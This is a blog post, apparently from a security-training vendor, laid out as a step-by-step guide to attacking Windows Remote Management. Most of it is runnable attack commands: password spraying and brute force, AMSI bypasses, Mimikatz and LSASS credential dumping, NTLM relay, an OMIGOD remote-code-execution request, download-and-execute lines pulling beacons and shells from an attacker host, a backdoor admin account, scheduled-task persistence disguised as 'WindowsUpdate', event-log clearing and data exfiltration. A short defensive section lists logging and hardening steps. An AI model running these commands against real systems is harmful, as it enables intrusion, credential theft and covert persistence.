WinRM — Port 5985, 5986 — How to exploit?
WinRM is essentially an HTTP-based interface for Windows Management Instrumentation (WMI), using SOAP to facilitate communication. Think of…
WinRM — Port 5985, 5986 — How to exploit?
WinRM is essentially an HTTP-based interface for Windows Management Instrumentation (WMI), using SOAP to facilitate communication. Think of it as “SSH for Windows” — it allows administrators to execute commands and scripts remotely on Windows machines.
Default Ports
- 5985/tcp — WinRM HTTP (unencrypted)
- 5986/tcp — WinRM HTTPS (encrypted with TLS)
The presence of these open ports typically indicates that remote PowerShell access is configured and potentially accessible.
Architecture
When you connect via WinRM, the service creates a new process (wsmprovhost.exe) on the target system that handles your remote session. This process runs under the context of the authenticated user.
Photo by Tadas Sar on Unsplash
Reconnaissance & Enumeration
Port Scanning
Start with identifying WinRM services using Nmap:
# Basic scan
nmap -p 5985,5986 -sV -sC <target-ip>
# More detailed enumeration
nmap -p 5985,5986 -sV -sC --script http-methods,http-auth <target-ip>
# Scan entire subnet
nmap -p 5985,5986 -sV <target-subnet>/24 -oA winrm-scan
Banner Grabbing
# Using netcat
nc -nv <target-ip> 5985
# Using curl
curl -v http://<target-ip>:5985/wsman
# Check for HTTPS
curl -k -v https://<target-ip>:5986/wsman
Windows-Based Testing
If you’re testing from a Windows machine, you can verify WinRM configuration:
# Test if WinRM is configured on target
Test-WSMan <target-ip>
# Test with credentials
Test-WSMan -ComputerName <target-ip> -Credential (Get-Credential) -Authentication Negotiate
# Check WinRM service status locally
Get-Service WinRM
winrm get winrm/config
Expected output from a properly configured target:
wsmid : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
ProductVendor : Microsoft Corporation
ProductVersion : OS: 0.0.0 SP: 0.0 Stack: 3.0
Shodan Queries
Find WinRM services exposed on the internet:
port:5985 Microsoft-HTTPAPI
port:5986 Microsoft-HTTPAPI
Authentication Methods
WinRM supports multiple authentication methods:
- Kerberos (default for domain-joined machines)
- NTLM (fallback, works with local accounts)
- Basic (username/password, requires HTTPS)
- Certificate (client certificate authentication)
- CredSSP (allows credential delegation)
Credential-Based Attacks
Username Enumeration
Before brute-forcing, try to enumerate valid usernames:
# Using kerbrute (if Kerberos is enabled)
kerbrute userenum --dc <dc-ip> -d <domain> users.txt
# Using enum4linux
enum4linux -U <target-ip>
# Using CrackMapExec
crackmapexec smb <target-ip> --users
Brute Force Attacks
Warning: Be cautious with brute-forcing WinRM as it can lock out accounts. Always check the account lockout policy first.
Using CrackMapExec
# Single credential test
crackmapexec winrm <target-ip> -u administrator -p 'Password123!'
# Username list + password list
crackmapexec winrm <target-ip> -u users.txt -p passwords.txt
# Using NTLM hash
crackmapexec winrm <target-ip> -u administrator -H <ntlm-hash>
# Check access without executing commands
crackmapexec winrm <target-ip> -u administrator -p 'Password123!' --continue-on-success
# Execute command upon success
crackmapexec winrm <target-ip> -u administrator -p 'Password123!' -x 'whoami'
# Execute PowerShell command
crackmapexec winrm <target-ip> -u administrator -p 'Password123!' -X '$PSVersionTable'
Using Hydra
# Single username
hydra -l administrator -P passwords.txt <target-ip> winrm
# Multiple usernames
hydra -L users.txt -P passwords.txt <target-ip> winrm
# Verbose output with 4 parallel tasks
hydra -t 4 -V -l administrator -P passwords.txt winrm://<target-ip>
Using Metasploit
use auxiliary/scanner/winrm/winrm_login
set RHOSTS <target-ip>
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
run
Password Spraying
Password spraying is safer than brute-forcing as it uses one password across many usernames:
# Using CrackMapExec
crackmapexec winrm <target-subnet>/24 -u users.txt -p 'Winter2024!' --continue-on-success
# Using spray (custom script)
for user in $(cat users.txt); do
crackmapexec winrm <target-ip> -u $user -p 'Password123!' | grep '+'
done
Post-Authentication Exploitation
Evil-WinRM (Primary Tool)
Evil-WinRM is the go-to tool for WinRM exploitation. Install it:
# Install
gem install evil-winrm
# Or use Docker
docker pull oscarakaelvis/evil-winrm
Basic Connection
# Username + Password
evil-winrm -i <target-ip> -u administrator -p 'Password123!'
# Username + Hash (Pass-the-Hash)
evil-winrm -i <target-ip> -u administrator -H <ntlm-hash>
# Domain credentials
evil-winrm -i <target-ip> -u 'domain\username' -p 'Password123!'
# Use HTTPS (port 5986)
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -S
# Custom port
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -P 5986
# Specify realm for Kerberos
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -r domain.local
Advanced Evil-WinRM Features
Kerberos Authentication (v3.x+)
# Using Kerberos ticket
evil-winrm -i <target-ip> -u j.doe -k --spn HTTP/<target-ip>
# Request Kerberos ticket first
kinit j.doe@DOMAIN.LOCAL
evil-winrm -i dc01.domain.local -k
Certificate-Based Authentication
evil-winrm -i <target-ip> --cert-pem cert.pem --key-pem key.pem
File Operations
# Upload file (in evil-winrm session)
upload /local/path/file.exe C:\Windows\Temp\file.exe
# Download file
download C:\Windows\Temp\loot.txt /local/path/loot.txt
# Upload and execute
upload /opt/mimikatz.exe C:\Windows\Temp\mimikatz.exe
./mimikatz.exe
Script Execution
# Load PowerShell script in memory
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -s /opt/scripts/
# Then in the session:
Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
Binary Execution
# Load binary directory
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -e /opt/binaries/
# Then in the session:
menu
Invoke-Binary /opt/binaries/winPEAS.exe
Session Logging
# Enable logging
evil-winrm -i <target-ip> -u administrator -p 'Password123!' -L session.log
Bypass AMSI
# Evil-WinRM automatically attempts AMSI bypass, but you can also:
evil-winrm -i <target-ip> -u administrator -p 'Password123!'
# Then manually:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
PowerShell-Based Connections
From Windows Systems
Create Credential Object
# Prompt for credentials
$cred = Get-Credential
# Or create programmatically
$password = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('administrator', $password)
# Domain credentials
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $password)
# Local account (note the .\ prefix)
$cred = New-Object System.Management.Automation.PSCredential('.\localadmin', $password)
Interactive Session
# Enter remote session
Enter-PSSession -ComputerName <target-ip> -Credential $cred
# With different authentication
Enter-PSSession -ComputerName <target-ip> -Credential $cred -Authentication Negotiate
# Bypass proxy
$sessionOption = New-PSSessionOption -ProxyAccessType NoProxyServer
Enter-PSSession -ComputerName <target-ip> -Credential $cred -SessionOption $sessionOption
# Exit session (but keep it in background)
Exit-PSSession
Persistent Sessions
# Create persistent session
$session = New-PSSession -ComputerName <target-ip> -Credential $cred
# Re-enter session
Enter-PSSession -Session $session
# Use session for command execution
Invoke-Command -Session $session -ScriptBlock { whoami }
# Remove session when done
Remove-PSSession -Session $session
Execute Single Commands
# Basic command
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock { ipconfig /all }
# With parameters
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock { param($user) net user $user } -ArgumentList "testuser"
# Execute local function remotely
function Get-Info { hostname; whoami }
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock ${function:Get-Info}
Execute Scripts
# Run local script on remote machine
Invoke-Command -ComputerName <target-ip> -Credential $cred -FilePath C:\scripts\enum.ps1
# Load script into session
$session = New-PSSession -ComputerName <target-ip> -Credential $cred
Invoke-Command -Session $session -FilePath C:\scripts\PowerView.ps1
Invoke-Command -Session $session -ScriptBlock { Get-NetUser }
Get Reverse Shell
Invoke-Command -ComputerName <target-ip> -Credential $cred -ScriptBlock {
IEX (New-Object Net.WebClient).DownloadString('http://<attacker-ip>/shell.ps1')
}
From Linux Systems
Using pypsrp
# Install
pip3 install pypsrp
from psrp.client import Client
# Create connection
client = Client('target-ip', username='administrator', password='Password123!', ssl=False)
# Execute command
output, streams, had_errors = client.execute_cmd('ipconfig /all')
print(output)
# Execute PowerShell
output, streams, had_errors = client.execute_ps('Get-Process | Select-Object -First 5')
print(output)
# Clean up
client.close()
Using winrm-rb (Ruby)
require 'winrm'
conn = WinRM::Connection.new(
endpoint: 'http://target-ip:5985/wsman',
user: 'administrator',
password: 'Password123!'
)
conn.shell(:powershell) do |shell|
output = shell.run('Get-Process | Select-Object -First 5')
puts output.stdout
end
Custom Ruby Script with Upload Capability
require 'winrm-fs'
conn = WinRM::Connection.new(
endpoint: 'http://target-ip:5985/wsman',
transport: :plaintext,
user: 'administrator',
password: 'Password123!',
:no_ssl_peer_verification => true
)
file_manager = WinRM::FS::FileManager.new(conn)
# Upload file
file_manager.upload('/local/file.txt', 'C:\Windows\Temp\file.txt')
# Execute commands
conn.shell(:powershell) do |shell|
output = shell.run('type C:\Windows\Temp\file.txt')
puts output.stdout
end
Using PowerShell Docker Container
docker run -it quickbreach/powershell-ntlm
# Inside container
$cred = Get-Credential
Enter-PSSession -ComputerName <target-ip> -Authentication Negotiate -Credential $cred
NTLM Relay Attacks
Direct Relay to WinRM (Updated 2023+)
Since Impacket v0.11.0, you can relay NTLM authentication directly to WinRM:
Prerequisites:
- Target has HTTP WinRM enabled (port 5985)
- SMB signing not required on the network
- Valid user authentication coerced
Setup Attack
# Terminal 1: Start ntlmrelayx
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
# Terminal 2: Trigger authentication with Responder
sudo responder -I eth0 -wrf
# Or use mitm6 for IPv6 attack
sudo mitm6 -d domain.local
Advanced Relay Commands
# Execute PowerShell
sudo ntlmrelayx.py -t wsman://10.0.0.25 -smb2support \
--command "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
# Dump SAM
sudo ntlmrelayx.py -t wsman://10.0.0.25 -smb2support \
--command "reg save HKLM\SAM C:\Windows\Temp\sam.hive"
# Multiple targets
sudo ntlmrelayx.py -tf targets.txt -smb2support
Mitigations
- Disable HTTP listener:
Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false - Enable Extended Protection for Authentication (EPA)
- Require SMB signing
- Use HTTPS only for WinRM
Privilege Escalation via WinRM
Loading PowerShell Scripts
# PowerUp
IEX (New-Object Net.WebClient).DownloadString('http://attacker/PowerUp.ps1')
Invoke-AllChecks
# Sherlock
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Sherlock.ps1')
Find-AllVulns
# winPEAS
IEX (New-Object Net.WebClient).DownloadString('http://attacker/winPEASany.exe')
Credential Harvesting
Mimikatz via WinRM
# Load in memory
IEX (New-Object Net.WebClient).DownloadString('http://attacker/Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'
# Or upload binary via evil-winrm
upload /opt/mimikatz.exe C:\Windows\Temp\m.exe
./m.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
Dump LSASS
# Using procdump
.\procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# Download and parse offline
download C:\Windows\Temp\lsass.dmp /local/path/lsass.dmp
Dump SAM/SYSTEM
reg save HKLM\SAM C:\Windows\Temp\sam.hive
reg save HKLM\SYSTEM C:\Windows\Temp\system.hive
download C:\Windows\Temp\sam.hive
download C:\Windows\Temp\system.hive
# Parse locally
impacket-secretsdump -sam sam.hive -system system.hive LOCAL
Advanced Techniques
Constrained Language Mode Bypass
If PowerShell is in Constrained Language Mode:
# Check current mode
$ExecutionContext.SessionState.LanguageMode
# Bypass using WSMan COM object
$ws = New-Object -ComObject WSMan.Automation
$session = $ws.CreateSession('http://localhost:5985/wsman', 0, $null)
$cmdId = $session.Command('cmd.exe', @('/c', 'whoami'))
$session.Signal($cmdId, 0)
Certificate-Based Authentication Exploitation
If certificate authentication is enabled:
# Generate certificate request
openssl req -newkey rsa:2048 -nodes -keyout client.key -out client.csr
# After getting signed cert
evil-winrm -i <target-ip> --cert-pem client.pem --key-pem client.key
WinRM + CredSSP for Double-Hop
CredSSP allows credential delegation (double-hop):
# Enable CredSSP on attacker machine
Enable-WSManCredSSP -Role Client -DelegateComputer *
# Connect with CredSSP
$cred = Get-Credential
Enter-PSSession -ComputerName target1 -Credential $cred -Authentication CredSSP
# Now you can access other machines
Enter-PSSession -ComputerName target2 -Credential $cred
Forcing WinRM Remotely
If WinRM isn’t enabled but you have credentials:
# Using PsExec
psexec.py domain/user:password@target-ip "powershell -c Enable-PSRemoting -Force"
# Using wmic (from Windows)
wmic /node:target-ip /user:administrator /password:Password123! process call create "powershell Enable-PSRemoting -Force"
# Using Impacket
atexec.py domain/user:password@target-ip 'powershell -c "Enable-PSRemoting -Force"'
Cloud-Specific: Azure OMI Exploitation
OMIGOD (CVE-2021–38647)
Azure Linux VMs use OMI (Open Management Infrastructure) which exposes WS-MAN on ports 5985/5986:
Exploitation
# Unauthenticated RCE
curl -X POST http://target:5985/wsman \
-H "Content-Type: application/soap+xml;charset=UTF-8" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd">
<s:Header>
<a:To>HTTP://target:5985/wsman</a:To>
<w:ResourceURI s:mustUnderstand="true">http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem</w:ResourceURI>
<a:Action>http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem/ExecuteShellCommand</a:Action>
</s:Header>
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>whoami</p:command>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>'
Mitigation:
- Update OMI to version ≥ 1.6.8–1
- Block ports 5985/5986 from the internet
- Use Azure NSG to restrict access
Lateral Movement
One-Liner Lateral Movement
# Execute command on multiple machines
$targets = @('server1', 'server2', 'server3')
$cred = Get-Credential
foreach ($target in $targets) {
Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock { whoami }
}
# Deploy implant
$targets = Get-Content targets.txt
foreach ($target in $targets) {
Invoke-Command -ComputerName $target -Credential $cred -ScriptBlock {
IEX (New-Object Net.WebClient).DownloadString('http://attacker/agent.ps1')
}
}
Using CrackMapExec for Spray
# Execute on all accessible hosts
crackmapexec winrm targets.txt -u administrator -H <hash> -x "whoami" --continue-on-success
# Deploy beacon
crackmapexec winrm targets.txt -u administrator -p 'Password123!' -X 'IEX (New-Object Net.WebClient).DownloadString("http://attacker/beacon.ps1")'
Defense Evasion
AMSI Bypass
# Method 1: Reflection
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Method 2: Patch
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
Logging Evasion
# Disable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
# Clear event logs
wevtutil cl "Windows PowerShell"
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-WinRM/Operational"
Obfuscation
# Base64 encode commands
$command = 'whoami'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
powershell -encodedCommand $encoded
# Use Invoke-Obfuscation
Import-Module Invoke-Obfuscation.ps1
Invoke-Obfuscation
Detection & Defense
Enable Logging
PowerShell Script Block Logging
# Enable via Group Policy or Registry
New-Item -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Force
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
WinRM Operational Logging
wevtutil sl "Microsoft-Windows-WinRM/Operational" /e:true
Important Event IDs:
- Event 91/163: Shell created
- Event 182: Authentication failure
- Event 4262 (Security log): Records source IP (added July 2022)
Monitor for Suspicious Activity
# Check active WinRM sessions
Get-PSSession
# Check WinRM event logs
Get-WinEvent -LogName "Microsoft-Windows-WinRM/Operational" -MaxEvents 50
# Find suspicious PowerShell execution
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object { $_.Message -match 'mimikatz|invoke-|downloadstring' }
Hardening WinRM
# Disable HTTP, use HTTPS only
Disable-PSRemoting -Force
winrm delete winrm/config/listener?Address=*+Transport=HTTP
# Configure HTTPS listener
$cert = New-SelfSignedCertificate -DnsName "servername" -CertStoreLocation "Cert:\LocalMachine\My"
New-Item -Path WSMan:\localhost\Listener -Transport HTTPS -Address * -CertificateThumbprint $cert.Thumbprint -Force
# Restrict allowed IPs
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "192.168.1.100,192.168.1.101"
# Enable Extended Protection for Authentication (EPA)
Set-Item WSMan:\localhost\Service\Auth\CbtHardeningLevel -Value Strict
# Require Kerberos only
Set-Item WSMan:\localhost\Service\Auth\Kerberos -Value $true
Set-Item WSMan:\localhost\Service\Auth\Negotiate -Value $false
Set-Item WSMan:\localhost\Service\Auth\Basic -Value $false
Network Segmentation
- Restrict WinRM access to management VLANs only
- Use host-based firewall rules:
# Allow only from specific IPs
New-NetFirewallRule -DisplayName "WinRM-HTTP-Restricted" -Direction Inbound -Protocol TCP -LocalPort 5985 -RemoteAddress 192.168.1.0/24 -Action Allow
Common Issues & Troubleshooting
Connection Errors
Error: “The WinRM client cannot process the request”
# On attacking machine, add target to trusted hosts
winrm set winrm/config/client '@{TrustedHosts="target-ip"}'
# Or use wildcard (less secure)
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "*" -Force
Error: “Access is denied”
- Verify credentials are correct
- Check if user is in “Remote Management Users” group
- Verify firewall isn’t blocking connection
Error: “Connection refused”
- WinRM service not running:
Start-Service WinRM - Firewall blocking:
Enable-PSRemoting -Force - Listener not configured: Check with
winrm enumerate winrm/config/listener
IPv6 Connections with Evil-WinRM
# Add to /etc/hosts
echo "dead:beef::1 target.local" >> /etc/hosts
# Connect using hostname
evil-winrm -i target.local -u administrator -p 'Password123!'
Practical Attack Scenarios
Scenario 1: Internal Penetration Test
Goal: Gain access to domain controller via WinRM
# 1. Discover WinRM hosts
nmap -p 5985,5986 -sV 192.168.1.0/24 -oG winrm-hosts.txt
# 2. Enumerate users via SMB
crackmapexec smb 192.168.1.0/24 --users > users.txt
# 3. Password spray
crackmapexec winrm 192.168.1.0/24 -u users.txt -p 'Winter2024!' --continue-on-success
# 4. Connect to compromised host
evil-winrm -i 192.168.1.50 -u j.doe -p 'Winter2024!'
# 5. Enumerate domain
upload /opt/PowerView.ps1
Import-Module ./PowerView.ps1
Get-DomainController
Find-LocalAdminAccess
# 6. Lateral movement to DC
$cred = Get-Credential
Enter-PSSession -ComputerName DC01 -Credential $cred
Scenario 2: Post-Exploitation
Goal: Establish persistence and exfiltrate data
# 1. Create backdoor user
net user backdoor P@ssw0rd! /add
net localgroup administrators backdoor /add
net localgroup "Remote Management Users" backdoor /add
# 2. Dump credentials
upload /opt/mimikatz.exe
./mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
download C:\Windows\Temp\creds.txt
# 3. Search for sensitive files
Get-ChildItem -Path C:\ -Include *.xlsx,*.docx,*password*,*confidential* -Recurse -ErrorAction SilentlyContinue
# 4. Exfiltrate data
Compress-Archive -Path C:\Sensitive\* -DestinationPath C:\Windows\Temp\loot.zip
download C:\Windows\Temp\loot.zip
# 5. Establish persistence
$trigger = New-ScheduledTaskTrigger -AtStartup
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/beacon.ps1')"
Register-ScheduledTask -TaskName "WindowsUpdate" -Trigger $trigger -Action $action -RunLevel Highest
Scenario 3: NTLM Relay Chain
Goal: Relay from compromised workstation to sensitive servers
# 1. Compromise workstation via phishing
# 2. Setup relay on compromised host
upload /opt/ntlmrelayx.py
python ntlmrelayx.py -t wsman://10.0.0.50 -smb2support
# 3. Trigger authentication from other users
# (via various methods - printer bug, forced auth, etc.)
# 4. Execute on relayed session
# Commands defined in ntlmrelayx configuration
Tool Reference
Must-Have Tools
- Evil-WinRM — Primary WinRM exploitation tool
- CrackMapExec — Network enumeration and exploitation
- Impacket — NTLM relay and remote execution
- PowerView — Domain enumeration
- Mimikatz — Credential dumping
- Rubeus — Kerberos exploitation
Installation Commands
# Evil-WinRM
gem install evil-winrm
# CrackMapExec
pipx install crackmapexec
# Impacket
git clone https://github.com/fortra/impacket.git
cd impacket
pip install .
# Or use via Docker
docker pull byt3bl33d3r/crackmapexec
Cheat Sheet
Quick Reference Commands
# Enumeration
nmap -p 5985,5986 -sV <target>
crackmapexec winrm <target> -u '' -p ''
# Authentication Testing
crackmapexec winrm <target> -u admin -p 'password'
crackmapexec winrm <target> -u admin -H <hash>
# Connection
evil-winrm -i <target> -u admin -p 'password'
evil-winrm -i <target> -u admin -H <hash>
# File Operations
upload /local/file C:\remote\file
download C:\remote\file /local/file
# PowerShell Session
$cred = Get-Credential
Enter-PSSession -ComputerName <target> -Credential $cred
Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { whoami }
# NTLM Relay
ntlmrelayx.py -t wsman://<target> -smb2support --command "cmd"
# Lateral Movement
crackmapexec winrm targets.txt -u admin -p 'password' -x "whoami"
Conclusion
WinRM presents a significant attack surface when misconfigured or left accessible. As a penetration tester, understanding how to enumerate, exploit, and move laterally through WinRM services is critical for modern Windows environment assessments.
Key Takeaways:
- Always check for WinRM during network reconnaissance
- Password spraying is safer than brute-forcing
- Evil-WinRM is your primary tool for exploitation
- NTLM relay attacks can bypass credentials entirely
- Proper logging and monitoring are essential for defense
- Disable HTTP listeners and use HTTPS with EPA
- Restrict WinRM access to management networks only
🚀 Become a VeryLazyTech Member — Get Instant Access
What you get today:
✅ 70GB Google Drive packed with cybersecurity content
✅ 3 full courses to level up fast
👉 Join the Membership → https://shop.verylazytech.com
📚 Need Specific Resources?
✅ Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.
👉 Visit the Shop → https://shop.verylazytech.com
💬 Stay in the Loop
Want quick tips, free tools, and sneak peeks?
| 👾 https://github.com/verylazytech/
| 📺 https://youtube.com/@verylazytech/
| 📩 https://t.me/+mSGyb008VL40MmVk/
| 🕵️♂️ https://www.verylazytech.com/
메타데이터
- post_id
- e6ecc660dc3b
- slug
- winrm-port-5985-5986-how-to-exploit-e6ecc660dc3b
- url
- https://medium.com/@verylazytech/winrm-port-5985-5986-how-to-exploit-e6ecc660dc3b
- canonical_url
- https://medium.com/@verylazytech/winrm-port-5985-5986-how-to-exploit-e6ecc660dc3b
- author_url
- https://medium.com/@verylazytech
- status
- ok
- fetched_at
- 2026-07-12 02:25:03